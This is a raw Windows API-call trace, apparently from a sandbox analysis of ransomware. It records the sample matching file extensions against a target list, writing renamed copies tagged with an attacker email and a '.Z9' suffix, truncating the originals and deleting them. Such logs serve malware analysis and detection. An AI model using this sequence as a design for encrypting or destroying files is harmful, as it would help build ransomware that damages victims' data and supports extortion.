	[0084.272] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.273] lstrlenW (lpString=".doc") returned 4
	[0084.273] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.273] lstrlenW (lpString=".docx") returned 5
	[0084.273] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.273] lstrlenW (lpString=".pdf") returned 4
	[0084.273] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.273] lstrlenW (lpString=".xls") returned 4
	[0084.273] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.273] lstrlenW (lpString=".xlsx") returned 5
	[0084.273] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.273] lstrlenW (lpString=".ppt") returned 4
	[0084.273] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.273] lstrlenW (lpString=".zip") returned 4
	[0084.273] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.273] lstrlenW (lpString=".rar") returned 4
	[0084.273] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.273] lstrlenW (lpString=".bz2") returned 4
	[0084.273] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.273] lstrlenW (lpString=".7z") returned 3
	[0084.273] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.273] lstrlenW (lpString=".dbf") returned 4
	[0084.273] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.273] lstrlenW (lpString=".1cd") returned 4
	[0084.273] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.273] lstrlenW (lpString=".jpg") returned 4
	[0084.273] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.273] lstrlenW (lpString=".doc") returned 4
	[0084.273] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.274] lstrlenW (lpString=".docx") returned 5
	[0084.274] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.274] lstrlenW (lpString=".pdf") returned 4
	[0084.274] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.274] lstrlenW (lpString=".xls") returned 4
	[0084.274] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.274] lstrlenW (lpString=".xlsx") returned 5
	[0084.274] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.274] lstrlenW (lpString=".ppt") returned 4
	[0084.274] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.274] lstrlenW (lpString=".zip") returned 4
	[0084.274] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.274] lstrlenW (lpString=".rar") returned 4
	[0084.274] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.274] lstrlenW (lpString=".bz2") returned 4
	[0084.274] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.274] lstrlenW (lpString=".7z") returned 3
	[0084.274] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.274] lstrlenW (lpString=".dbf") returned 4
	[0084.274] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.274] lstrlenW (lpString=".1cd") returned 4
	[0084.274] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.274] lstrlenW (lpString=".jpg") returned 4
	[0084.274] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.275] lstrcmpiW (lpString1=".sys", lpString2=".Z9") returned -1
	[0084.275] lstrlenW (lpString="pagefile.sys") returned 12
	[0084.275] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0084.275] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.275] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.275] lstrlenW (lpString=".doc") returned 4
	[0084.275] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0084.275] lstrlenW (lpString=".docx") returned 5
	[0084.275] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0084.275] lstrlenW (lpString=".pdf") returned 4
	[0084.275] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0084.275] lstrlenW (lpString=".xls") returned 4
	[0084.275] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0084.275] lstrlenW (lpString=".xlsx") returned 5
	[0084.275] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0084.275] lstrlenW (lpString=".ppt") returned 4
	[0084.275] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0084.275] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.275] lstrlenW (lpString=".zip") returned 4
	[0084.275] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0084.275] lstrlenW (lpString=".rar") returned 4
	[0084.275] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0084.275] lstrlenW (lpString=".bz2") returned 4
	[0084.275] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0084.275] lstrlenW (lpString=".7z") returned 3
	[0084.275] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0084.275] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.275] lstrlenW (lpString=".dbf") returned 4
	[0084.275] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0084.275] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.275] lstrlenW (lpString=".1cd") returned 4
	[0084.275] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0084.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.276] lstrlenW (lpString=".jpg") returned 4
	[0084.276] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0084.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.276] lstrlenW (lpString=".doc") returned 4
	[0084.276] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0084.276] lstrlenW (lpString=".docx") returned 5
	[0084.276] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0084.276] lstrlenW (lpString=".pdf") returned 4
	[0084.276] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0084.276] lstrlenW (lpString=".xls") returned 4
	[0084.276] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0084.276] lstrlenW (lpString=".xlsx") returned 5
	[0084.276] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0084.276] lstrlenW (lpString=".ppt") returned 4
	[0084.276] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0084.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.276] lstrlenW (lpString=".zip") returned 4
	[0084.276] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0084.276] lstrlenW (lpString=".rar") returned 4
	[0084.276] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0084.276] lstrlenW (lpString=".bz2") returned 4
	[0084.276] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0084.276] lstrlenW (lpString=".7z") returned 3
	[0084.276] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0084.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.276] lstrlenW (lpString=".dbf") returned 4
	[0084.276] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0084.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.276] lstrlenW (lpString=".1cd") returned 4
	[0084.276] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0084.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.276] lstrlenW (lpString=".jpg") returned 4
	[0084.277] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0084.277] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0084.277] lstrlenW (lpString="active-charge.exe") returned 17
	[0084.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.277] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=78336) returned 1
	[0084.277] CloseHandle (hObject=0x37c) returned 1
	[0084.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe")) returned 0x20
	[0084.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\active-charge.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0084.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.278] lstrlenW (lpString=".doc") returned 4
	[0084.278] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.278] lstrlenW (lpString=".docx") returned 5
	[0084.278] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0084.278] lstrlenW (lpString=".pdf") returned 4
	[0084.278] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.278] lstrlenW (lpString=".xls") returned 4
	[0084.278] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.278] lstrlenW (lpString=".xlsx") returned 5
	[0084.278] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0084.278] lstrlenW (lpString=".ppt") returned 4
	[0084.278] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.278] lstrlenW (lpString=".zip") returned 4
	[0084.278] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.278] lstrlenW (lpString=".rar") returned 4
	[0084.278] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.278] lstrlenW (lpString=".bz2") returned 4
	[0084.278] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.278] lstrlenW (lpString=".7z") returned 3
	[0084.278] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.278] lstrlenW (lpString=".dbf") returned 4
	[0084.278] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.278] lstrlenW (lpString=".1cd") returned 4
	[0084.278] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.278] lstrlenW (lpString=".jpg") returned 4
	[0084.278] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.279] lstrlenW (lpString=".doc") returned 4
	[0084.279] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.279] lstrlenW (lpString=".docx") returned 5
	[0084.279] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0084.279] lstrlenW (lpString=".pdf") returned 4
	[0084.279] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.279] lstrlenW (lpString=".xls") returned 4
	[0084.279] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.279] lstrlenW (lpString=".xlsx") returned 5
	[0084.279] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0084.279] lstrlenW (lpString=".ppt") returned 4
	[0084.279] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.279] lstrlenW (lpString=".zip") returned 4
	[0084.279] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.279] lstrlenW (lpString=".rar") returned 4
	[0084.279] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.279] lstrlenW (lpString=".bz2") returned 4
	[0084.279] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.279] lstrlenW (lpString=".7z") returned 3
	[0084.279] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.279] lstrlenW (lpString=".dbf") returned 4
	[0084.279] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.279] lstrlenW (lpString=".1cd") returned 4
	[0084.279] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.279] lstrlenW (lpString=".jpg") returned 4
	[0084.279] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.280] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0084.280] lstrlenW (lpString="aldelo.exe") returned 10
	[0084.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe" (normalized: "c:\\program files\\common files\\aldelo.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.280] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=78336) returned 1
	[0084.280] CloseHandle (hObject=0x37c) returned 1
	[0084.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe" (normalized: "c:\\program files\\common files\\aldelo.exe")) returned 0x20
	[0084.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\aldelo.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe" (normalized: "c:\\program files\\common files\\aldelo.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0084.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.280] lstrlenW (lpString=".doc") returned 4
	[0084.280] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.280] lstrlenW (lpString=".docx") returned 5
	[0084.280] lstrcmpiW (lpString1=".docx", lpString2="o.exe") returned -1
	[0084.280] lstrlenW (lpString=".pdf") returned 4
	[0084.280] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.280] lstrlenW (lpString=".xls") returned 4
	[0084.281] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.281] lstrlenW (lpString=".xlsx") returned 5
	[0084.281] lstrcmpiW (lpString1=".xlsx", lpString2="o.exe") returned -1
	[0084.281] lstrlenW (lpString=".ppt") returned 4
	[0084.281] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.281] lstrlenW (lpString=".zip") returned 4
	[0084.281] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.281] lstrlenW (lpString=".rar") returned 4
	[0084.281] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.281] lstrlenW (lpString=".bz2") returned 4
	[0084.281] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.281] lstrlenW (lpString=".7z") returned 3
	[0084.281] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.281] lstrlenW (lpString=".dbf") returned 4
	[0084.281] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.281] lstrlenW (lpString=".1cd") returned 4
	[0084.281] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.281] lstrlenW (lpString=".jpg") returned 4
	[0084.281] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.281] lstrlenW (lpString=".doc") returned 4
	[0084.281] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.281] lstrlenW (lpString=".docx") returned 5
	[0084.281] lstrcmpiW (lpString1=".docx", lpString2="o.exe") returned -1
	[0084.281] lstrlenW (lpString=".pdf") returned 4
	[0084.281] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.281] lstrlenW (lpString=".xls") returned 4
	[0084.281] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.281] lstrlenW (lpString=".xlsx") returned 5
	[0084.282] lstrcmpiW (lpString1=".xlsx", lpString2="o.exe") returned -1
	[0084.282] lstrlenW (lpString=".ppt") returned 4
	[0084.282] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.282] lstrlenW (lpString=".zip") returned 4
	[0084.282] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.282] lstrlenW (lpString=".rar") returned 4
	[0084.282] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.282] lstrlenW (lpString=".bz2") returned 4
	[0084.282] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.282] lstrlenW (lpString=".7z") returned 3
	[0084.282] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.282] lstrlenW (lpString=".dbf") returned 4
	[0084.282] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.282] lstrlenW (lpString=".1cd") returned 4
	[0084.282] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0084.282] lstrlenW (lpString=".jpg") returned 4
	[0084.282] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.282] lstrcmpiW (lpString1=".OLB", lpString2=".Z9") returned -1
	[0084.282] lstrlenW (lpString="MSADDNDR.OLB") returned 12
	[0084.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.704] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=15984) returned 1
	[0084.705] CloseHandle (hObject=0x398) returned 1
	[0084.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20
	[0084.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.705] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.705] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0084.705] GetLastError () returned 0x0
	[0084.705] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x3e70, lpOverlapped=0x0) returned 1
	[0084.707] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x3e80, lpOverlapped=0x0) returned 1
	[0084.708] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.708] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.708] SetEndOfFile (hFile=0x338) returned 1
	[0084.709] CloseHandle (hObject=0x338) returned 1
	[0084.710] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.710] SetEndOfFile (hFile=0x398) returned 1
	[0084.711] CloseHandle (hObject=0x398) returned 1
	[0084.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.711] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1
	[0084.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.711] lstrlenW (lpString=".doc") returned 4
	[0084.711] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1
	[0084.711] lstrlenW (lpString=".docx") returned 5
	[0084.711] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1
	[0084.711] lstrlenW (lpString=".pdf") returned 4
	[0084.711] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1
	[0084.711] lstrlenW (lpString=".xls") returned 4
	[0084.711] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1
	[0084.712] lstrlenW (lpString=".xlsx") returned 5
	[0084.712] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1
	[0084.712] lstrlenW (lpString=".ppt") returned 4
	[0084.712] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1
	[0084.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.712] lstrlenW (lpString=".zip") returned 4
	[0084.712] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1
	[0084.712] lstrlenW (lpString=".rar") returned 4
	[0084.712] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1
	[0084.712] lstrlenW (lpString=".bz2") returned 4
	[0084.712] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1
	[0084.712] lstrlenW (lpString=".7z") returned 3
	[0084.712] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1
	[0084.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.712] lstrlenW (lpString=".dbf") returned 4
	[0084.712] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1
	[0084.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.712] lstrlenW (lpString=".1cd") returned 4
	[0084.712] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1
	[0084.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.712] lstrlenW (lpString=".jpg") returned 4
	[0084.712] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1
	[0084.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.712] lstrlenW (lpString=".doc") returned 4
	[0084.712] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1
	[0084.712] lstrlenW (lpString=".docx") returned 5
	[0084.712] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1
	[0084.712] lstrlenW (lpString=".pdf") returned 4
	[0084.712] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1
	[0084.712] lstrlenW (lpString=".xls") returned 4
	[0084.712] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1
	[0084.712] lstrlenW (lpString=".xlsx") returned 5
	[0084.712] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1
	[0084.713] lstrlenW (lpString=".ppt") returned 4
	[0084.713] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1
	[0084.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.713] lstrlenW (lpString=".zip") returned 4
	[0084.713] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1
	[0084.713] lstrlenW (lpString=".rar") returned 4
